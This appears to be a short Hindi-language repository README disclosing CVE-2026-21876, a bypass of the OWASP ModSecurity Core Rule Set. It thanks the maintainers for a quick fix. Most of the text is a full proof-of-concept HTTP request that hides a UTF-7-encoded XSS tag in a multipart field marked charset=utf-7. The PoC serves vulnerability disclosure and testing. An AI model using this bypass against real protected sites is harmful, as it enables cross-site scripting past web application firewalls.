mefhika120/cve-2026-21876# न्यूनतम PoC और Docker कंटेनर जो OWASP ModSecurity CRS में multipart charset हैंडलिंग के माध्यम से WAF बाईपास प्रदर्शित करता है, जिससे XSS पेलोड डिलीवरी होती है।
CVE-2026-21876 डॉकर कंटेनर + न्यूनतम PoC।
मैं @airween और @fzipi को उनकी त्वरित प्रतिक्रिया के लिए अलग-अलग धन्यवाद देना चाहता हूँ! भेद्यता का फिक्स बहुत कम समय में तैयार हो गया था।
POST /submit HTTP/1.1
Host: localhost
User-Agent: curl/8.17.0
Accept: */*
Origin: https://example.com
Content-Length: 367
Content-Type: multipart/form-data; boundary=------------------------cmOi6twNhVJDu76bOwDTVz
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=utf-7
+ADw-img+ACA-src+AD0-x+AD4-
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8
dummy
--------------------------cmOi6twNhVJDu76bOwDTVz--
username मान को उन वर्णों के लिए जाँचा नहीं जाता है जो व्हाइटलिस्ट में शामिल नहीं हैं, जिससे WAF बाईपास होता है।
